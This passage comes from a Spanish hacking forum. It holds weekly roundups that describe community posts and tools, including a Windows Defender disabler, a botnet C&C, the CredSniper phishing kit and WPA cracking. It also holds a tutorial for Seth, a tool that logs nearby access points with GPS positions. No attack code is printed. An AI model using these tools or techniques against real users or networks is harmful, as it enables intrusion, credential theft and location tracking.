Esta semana hubo post interesantes, que sin duda no pueden dejar pasar, pero en caso de que esa equivocación haya sucedido, no hay problema, que en este Top les muestro además otros que han quedado en el baúl de Underc0de.

Top lo mejor de lo mejor de Underc0de

    No te desesperes si tu post no está,
    que cuando menos te lo esperes ahí estará,
    no te descuides porque te sorprenderá.

Top mejores Posts:


1.- Título: Legado de las Mujeres en la Informática
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Nuestra querida co-administradora "Denisse" nos cuenta con ímpetu las historias de las mujeres que demostraron su inteligencia y belleza al aportar en este universo tan increible. Sin duda un post que no puedes dejar pasar...


2.- Título: Adrian Lamo, vida y muerte de un 'hacker' con remordimientos
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Adrian Lamo, ¿Hacker y Héroe? o... ¿Sólo Hacker?. Delator de "Chelsea Manning, querido por muchos, pero también odiado por otros. Él padecia del Síndrome de Asperger, un trastorno del espectro autista o trastorno del comportamiento que hace muy compleja la interacción social y el entendimiento hacia los demás. Sin duda una historia para tormarsela con café.


3.- Título: Listado de comandos para GNU/Linux
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: La queridisima Dragora, "nuestra noticiera" nos muestra un listado exhaustivo de comandos para GNU/Linux que no pueden desaparecer de tu memoria.


4.- Título: Kit de herramientas importante, que deberías tener a la hora de resolver un CTF
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: ¿Atascado en ese difícil CTF que te propusiste?. CyberSec777 te da una mano ó mejor dicho más de 15 para ser específico.


5.- Título: Desarrollando BOTs para Telegram - Parte 1
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Telegram es más que una simple aplicación para poder conversar con conocidos a distancia, podemos incluso incluir agentes automatizados que resuelvan alguna operación específica. Los BOTs de Telegram son tan fáciles de crear como lo explica blackdrake.

Top mejores herramientas de la comunidad:


1.- Título: Deshabilitar Windows defender en tiempo de ejecución
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: 79137913 o mejor conocido cómo "Números", nos educa con código, mostrandonos lo fácil y vulnerable que es un usuario con la posibilidad de que se desactive "Windows Defender" a voluntad de un tercero mal intencionado.


2.- Título: Invasores - Un C&C para crear una botnet sencilla | Parte I
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: ¿Se imaginan conseguir acceso remoto a una máquina cómo si fuera un juego?... El compañero Kirari nos muestra con elegancia como hacerlo con su programa para comprometer máquinas remotamente como si se tratara de un Videojuego.


3.- Título: Get Local IP
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Para las personas que están aprendiendo emsamblador contar con la lectura del código día a día no debe ser sólo una obligación, sino un hábito. Antrax nos enseña con un código simple, limpio y sencillo cómo obtener la dirección IP de la máquina local.


4.- Título: Cífrado César ... 3 Funciones
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: ¿Aún no solucionas los retos de Underc0de o del mundo Underground?. Quizá darkcucla te podría ayudar con su script que descifra con ligereza el famoso "Cífrado de césar".


5.- Título: Seth: Registrando los puntos de acceso a nuestro alrededor
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Una técnica más, una menos. Nunca debemos desaparecer del radar del conocimiento, no hay que dejar pasar ni las vieja ni nuevas técnicas que se ven día a día, por eso DtxdF te demuestra con "Seth" como almacenar puntos de acceso con el fin de hacer "Driving Tracking".

[Co-Autores]: DtxdF & Bartz

~ DtxdF
#38

En la mayoría de la veces en nuestra vida cotidiana tenemos señales que se envían por el aire. Señales, que para muchos significan "conectividad inalámbrica", aunque para otros puede ser una información que a pesar de ser poca y pequeña puede ser de utilidad a mayores rangos.

Driving tracking y Seth

Seth es una pequeña herramienta que registra esa pequeña información que nos proporcionan los puntos de acceso. -¿Con qué fin?-, almacenar esos datos para crear servicios especificos, rastreo de direcciones MAC de algún router en una ubicación determinana, entre otros.

El "Driving Tracking" es un concepto que trata de decir "Seguimiento en conducción", para indicar que la información registrada se hace a través de un auto o un dispositivo con movilidad a gran escala, cómo un Dron, por ejemplo.

Aunque haya técnicas más efectivas y fáciles de realizar, sin duda no hay que dejar pasar por nuestra mente que todo lo mostrado en este esóterico artículo, puede pasar.

Uso:

Antes que nada, aunque recomendaré usar Ngrok, es posible usar una alternativa arbitraria. Si necesita apoyo en su decisión puede ver un artículo que hice sobre: "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta".

Descargando y construyendo el programa:

Código: bash
git clone https://github.com/DtxdF/seth.git
cd seth
chmod +x BUILD
sudo ./BUILD


Nota: El script de construcción hace uso de "apt", por lo que si usa una distribución diferente, modifíquelo según la herramienta que administra los paquetes.


Nos pedirá que si deseamos borrar los archivos objeto generados en la compilación. Aconsejo que no lo hagan al menos que vayan a modificar el programa y recompilarlo, ya que sqlite tarda mucho.

Una vez que se han instalado las dependencias, se ha contruido el programa y demás, puede ejecutar el siguiente comando para ver la ayuda y corroborar que todo esté sin problemas:

Código: bash
./seth -h



Antes que nada deberemos ejecutar dos scripts (en Python) para levantar el servidor "Web sockets" y "HTTP". El primero es el que enviará y registrará la ubicación del dispositivo con GPS (un teléfono con Android en mi caso) y el segundo es el que se comunicará con el servidor "Web Sockets" y ejecutará el script (en Javascript) para acceder a la ubicación.


Ahora ejecutemos Ngrok para crear un contexto seguro (HTTPS):


Tenemos que copiar y pegar la URL del puerto reedirigido por Ngrok 8080 (Web sockets) y pegarla en la línea 6 en el índice de la página (index.html) eliminando la URI (el http://):


Ahora en nuestro teléfono con GPS y con la localización activada, ingresamos en la URL que nos proporciona Ngrok sobre el puerto 8081 (HTTP) para poder registrar la ubicación. Y es muy importante no salirse, ya que el script estaría almacenando la última ubicación obtenida por nuestro GPS para usarla en el último punto de acceso registrado a posteriori.

Recomiendo hacerlo en Modo incógnito para evitar la cache en el caso de que cometamos un error y tengamos que ingresar nuevamente; se debe cerrar la ventana y volverla a abrir en caso de que suceda lo antes mencionado.


Nota: En caso de haber un error, se les mostrará en el mismo navegador. Y después que se haya aceptado (en caso de que se hubiera hecho) no se hará nada, al menos por la parte del usuario, pero se estará enviando la ubicación constantemente hacia el servidor.

Dejámos el teléfono cerca nuestro, con la pestaña abierta en nuestro navegador y con la pantalla encendida. Ahora nos vamos a nuestra terminal a ejecutar Seth e ir registrando los puntos de acceso alrededor nuestro.


Una vez ya hemos dado un vuelton por la ciudad y hemos capturado muchos puntos de acceso. Podemos observalos yendo a la <URL del servidor HTTP>/tracked. Pueden observar la imagen del inicio, que es así cómo se vería.

Por último, les comento que lean la pequeña documentación para saber un poco más de las funcionalidades de este programilla.

Aclaratorias


  • Sólo es demostrativo, no es un programa para producción real
  • Sería mejor una aplicación para smartphones (en mi opnión)
  • Cualquier error, por favor notificarme, pero recuerde que es un programa demostrativo
  • No es la única técnica para hacer lo mostrado, pero si es bueno saberla

¿Un comentario?... ¿No?... :c

~ DtxdF
#39
Hay información por doquier, no se sabe dónde, ni cuándo, pero está ahí. Posts valiosos los hay pero como todo lo mejor de esta vida se consigue con mucho esfuerzo, es mejor socavar las entrañas de Underc0de para poder apreciar de una manera más jerarquizada todo el oro encontrado. Eso mis fieles amigos es...

Top lo mejor de lo mejor de Underc0de

Luego de esa inusual perorata, hay que recordar que es sencillo colaborar, pero si no te queda claro puedes dar un pequeño repaso al No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para no cavilar más este asunto. Sin aumentar la longitud del prefacio, comencemos...

Top mejores Posts:


1.- Título: Introducción a la geolocalización de imágenes
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Dudarás más de dos veces antes de subir aquella imagen de forma irreflexiva e inocente en cualquier red social, una vez acabado este pequeño artículo con un gran valor informativo que nos cuenta HATI.


2.- Título: Como tomar control de un dispositivo Android en menos de 1 minuto
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: ¿Qué pasaría de descargasemos una aplicación en tiendas de terceros?... ANTRAX nos lo demostrará en menos de un minuto.


3.- Título: Manual sencillo de creación de un exploit real
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: aminanegra nos enseña la creación de un exploit (CVE-2018-16858) con una explicación tan sencilla y muy bien elaborada que sin importar el nivel de experticia, lo entenderá.


4.- Título: Tuberías: lo que necesitas saber para empezar a usarlas en GNU/Linux
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: ¿Novato en GNU/Linux? ¿Te da pereza empezar?. No te preocupes que nuestra querida amiga Dragora te enseñará a fondo todo lo que tienes que saber para usarlas y sacarle el maximo provecho a nuestra querida Terminal.


5.- Título: Configuración de Modem USB desde la Terminal
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: DtxdF vio un problema (y también lo tuvo). El simple hecho de haber una escasa documentación sobre la configuración de un Modem USB le pareció una autentica pesadilla. Por eso él nos demostrará que tan sencillo es configurarlo desde la Terminal.

Top mejores herramientas de la comunidad:


1.- Título: Reconozcamos los colores de nuestras imágenes
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Todos tenemos nuestros problemas, pero no muchos encuentran soluciones. Mortal_Poison nos ayuda a que éso pase, especialmente para los que tienen dificultades para percibir los colores.


2.- Título: Erica - Es hora de romper cosas 3:) ...
     Autores: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)/
     Descripción:  Kirari y DtxdF se unen para enseñar a usar una pequeña herramienta con el fin realizar un ataque por diccionario a una suma de verificación (Hash).


3.- Título: Instalar automáticamente todas las herramientas de Kali Linux
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: LionSec nos demuestra su herramienta para instalar artilugios de una de las distribuciones favoritas por la comunidad "Kali Linux" en otras distribuciones.


4.- Título: Queso - Creador de diccionario WPA
     Autor: @#Roedor
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: A veces durante una auditoria nos veremos obligados a realizar diversos ataques desde los más simples hasta lo más complejos. No se puede sobrepasar un ataque por diccionario, pero en los muchos casos existentes, es mejor tener un generador de diccionarios. Es por ello, que #Roedor nos trae su increible herramienta como una alternativa a las demás existentes.


5.- Título: pypass - Generador de contraseñas
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Un script muy divertido y muy útil para los que estén adentrandose en este mundo. noxonsoftwares nos lo demuestra con pypass, una herramienta para generar diccionarios para posteriores ataques.

[Co-Autores]: DtxdF & Bartz

~ DtxdF
#40
Desde los terrenos oscuros y vacios de Underc0de se ha vacilado durante meses sobre un tema un tanto peculiar pero que si resulta será lo más divertido que se haya hecho. Es un pequeño proyecto en dónde no sólo el Administrador simple y corriente podrá compartir su aporte, también cualquier persona que forme parte de esta comunidad. Eso es...

Top lo mejor de lo mejor de Underc0de

Este Post recopilará semanalmente aportes de Underc0de de cualquier sección, así que estate atento que en cualquier momento podrías ser seleccionado, pero sino no te preocupes, no significa que lo que redactaste sea negativo, puede que usemos tu post para una recopilación en un futuro no muy lejano.

Agradecimientos a:


Ahora sí comencemos...

Top mejores Posts:


1.- Título: Corroborando el Handshake
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Este post está destinado a personas que recien comienzan tanto por los que tienen desconocimiento no total sobre el tema. AXCESS nos muestra como corroborar de una manera fácil y sencilla el Handshake WPA/WPA2.


2.- Título: Tutorial como geolocalizar una persona por medio de su dirección IP y su GPS
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Un post dedicado a las personas para aclarar algunos aspectos sobre este tema y por supuesto un pequeño tutorial sobre como tratar de "Geolocalizar" a una persona a través de su GPS y/o por su Dirección IP.


3.- Título: Aprende a usar CRUNCH paso a paso.
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Cl0udswX Enseña sobre aspectos generales y aclaratorias sobre la fuerza bruta y como usar crunch de manera efectiva durante un ataque de esta clase.


4.- Título: Karma – Herramienta para buscar contraseñas de emails
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: CyberSec777 nos muestra una poderosa herramienta que puede obtener una lista de credenciales filtradas.


5.- Título: Nuevo ataque a WPA/WPA con PMKID
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: En este artículo puntoCL nos describirá como hacer uso de una nueva técnica (en aquel momento) para realizar un ataque contra WPA PSK.

Top mejores herramientas de la comunidad:


1.- Título: Cifrado de Shalom
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Algoritmo de cifrado transladado a Python para una mayor comprensión


2.- Título: RunPE No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Un codigo completo para ubicar en un Modulo de nuestro proyecto de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta con la capacidad de ejecutar en memoria un archivo EXE (o cualquier otro ejecutable con estructura PE) que anteriormente hayamos convertido en un byte array o bien un string que contenga el byte array.


3.- Título: Escaneador de subdominios
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Un potente escaner de subdominios hecho en Python (3).


4.- Título: Tftool, una herramienta minimalista para la transferencia de archivos
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Una simple herramienta para la transferencia de archivos que trata no sólo ser minimalista, también veloz.


5.- Título: CredSniper - phishing framework
     Autor: @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
     Descripción: Inicié fácilmente un nuevo sitio de phishing presentado completamente con SSL y credenciales de captura junto con tokens 2FA usando CredSniper.

¿Es difícil colaborar?

Un rotundo NO. Quiero aclarar que cualquiera puede aportar, -pero ¿Cómo?-, es fácil responder a esa pregunta, lo único que se pide para una mejor lectura es que incluyas una buena descripción ya sea de tu post o de tu herramienta y una imagen que describa más que mil palabras

Muchas gracias y espero comenten haber que les parece todo esto  ;).

~ DtxdF